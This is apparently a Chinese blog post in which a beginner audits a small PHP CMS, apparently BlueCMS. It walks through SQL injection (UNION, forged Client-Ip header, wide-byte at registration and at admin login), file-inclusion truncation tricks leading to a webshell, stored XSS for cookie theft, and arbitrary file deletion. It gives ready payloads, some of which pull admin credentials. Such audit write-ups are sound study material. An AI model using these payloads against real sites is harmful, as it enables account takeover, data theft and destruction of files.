初入代码审计,先用最朴素方法,从最简单的cms开始审计吧。
掏出seay一顿撸。
一 ad_js.php存在sql注入
参数没有加单引号保护,即使包含了require_once dirname(__FILE__) . '/include/common.inc.php'; 网站配置文件,对传入的参数
进行了统一gpc转义处理
get_magic_quotes_gpc函数作用
if(!get_magic_quotes_gpc())//如果php配置中没有开启gpc转义配置,则在此进行转义 { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
但是此处没有加单引号过滤。
继续跟踪到getone函数
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
只是简单的查询语句,没有加过滤。
?ad_id=1 union select 1,2,3,4,5,6,7 #
ctrl+u可以看到显示位。
二 commenr.php头部sql注入漏洞
function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
http头部可以伪造
配置文件中对$*post、$*get、$*cookies和$*request统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们就可以对ip通过client-ip或x-forwarded-for等进行伪造。
查看哪些地方用了这个危险函数。
comment.php 文件中有
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
发布新闻之后评论一下抓包。
截断调试。
添加请求头 Client-Ip: test
确实是没有过滤的被插入到sql语句中。
构造poc
1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1
三 文件包含漏洞
user.php存在此漏洞
全文追踪
还有addslashes_deep的过滤,但是这是无法防住文件包含的。
00截断(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off ) 点号截断(只适用于windows)(php版本 5.2.17、 magic_quotes_gpc = On ) index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次测试长度需要大于269) ./截断 (php版本 5.2.17、 magic_quotes_gpc = On ) index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次测试长度需要大于269)
配合文件上传包含图片马getshell。
四 存储xss
用户注册时候邮箱,构造xss
后台可以弹出xss盗取cookie
五 用户注册存在宽字节sql注入
构造payload
referer=&user_name=user03&pwd=user03&pwd1=user03&email=user03%401.com%df',1,1),(100, 0x757365723034, md5(123456), (select concat(admin_name,pwd) from blue_admin),1,1)#&safecode=xcpn&from=&act=do_reg
注意注释符,可以将剩下来的那部分语句直接给注释掉,不用考虑怎么闭合,也可以像ip伪造一样不用注释符,考虑闭合。
六 后台登录存在宽字节注入
admin_name=admin%df'or 1=1#&admin_pwd=sssss&submit=%B5%C7%C2%BC&act=do_login
admin%df'or 1=1#直接放在bp中 放在登录框在传输时%会被转义成%25,也就是%df'成了%25df%5c,MySQL用GBK的编码时,会认为 %df%5c
是一个宽字符。
七 任意文件删除
user.php任意文件删除,对于传入的face_pic3没有过滤。
if (!empty($_POST['face_pic1'])){ if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){ showmsg('只支持本站相对路径地址'); } else{ $face_pic = trim($_POST['face_pic1']); } }else{ if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){ @unlink(BLUE_ROOT.$_POST['face_pic3']); } }
BLUE_ROOT是当前文件所在路径。
echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:www est.php
echo dirname(__FILE__); // 取得当前文件所在的绝对目录,结果:D:www
echo dirname(dirname(__FILE__)); //取得当前文件的上一层目录名,结果:D:
strstrpos() 函数查找字符串在另一字符串中第一次出现的位置。
require_once dirname(__FILE__) . '/include/common.inc.php'; # common.inc.php define('BLUE_ROOT',str_replace("\","/",substr(dirname(__FILE__),0,-7)));
传入face_pic3值为文件名即可删除任意文件。